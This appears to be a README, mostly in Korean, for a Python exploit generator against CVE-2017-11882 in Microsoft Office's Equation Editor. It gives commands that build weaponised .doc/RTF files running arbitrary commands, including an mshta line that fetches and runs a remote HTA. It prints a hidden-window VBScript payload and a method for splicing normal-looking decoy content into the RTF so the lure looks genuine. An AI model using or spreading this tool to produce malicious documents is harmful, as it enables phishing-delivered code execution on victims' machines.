
Python 기반 CVE-2017-11882(Microsoft Office 수식 편집기 취약점)용 익스플로잇 생성기로, 사용자 지정 셸코드, mshta 페이로드, RTF 문서 임베딩을 지원합니다.
43b 원본 스크립트는 https://github.com/embedi/CVE-2017-11882 에서 가져왔습니다
109b 원본 스크립트는 https://github.com/unamer/CVE-2017-11882/ 에서 가져왔습니다 (경의를 표합니다, 이제 unamer의 코드는 shellcode를 실행할 수 있습니다~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
use mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b 명령 길이는 43 bytes를 초과할 수 없으며, 109b 명령 길이는 109 bytes를 초과할 수 없습니다
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
사실 사용자 정의 콘텐츠의 기법은 다른 고수분에게 배운 것입니다. 아주 오래전에 이미 스크립트로 작성해 두었고 원래 공개할 생각은 없었지만, 팀 내에서 누군가 이미 공개한 것을 보고 어쩔 수 없이 공개하게 되었습니다. 방법 자체는 간단합니다. 텍스트 파일로 일반 문서 rtf를 열어 {*\datastore 앞의 모든 내용을 복사한 다음, {\object\objautlink\objupdate 앞의 내용을 대체하면 됩니다. 그래서 스크립트에 넣는 것도 아주 간단합니다.
사용자 정의 콘텐츠를 추가하는 방법, 아무 스크립트나 선택하세요:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
사용자 정의 콘텐츠는 input.rtf에 있습니다.
unamer의 최신 605바이트 익스플로잇 스크립트는 업데이트하지 않습니다. 관심이 있다면 직접 수정하세요.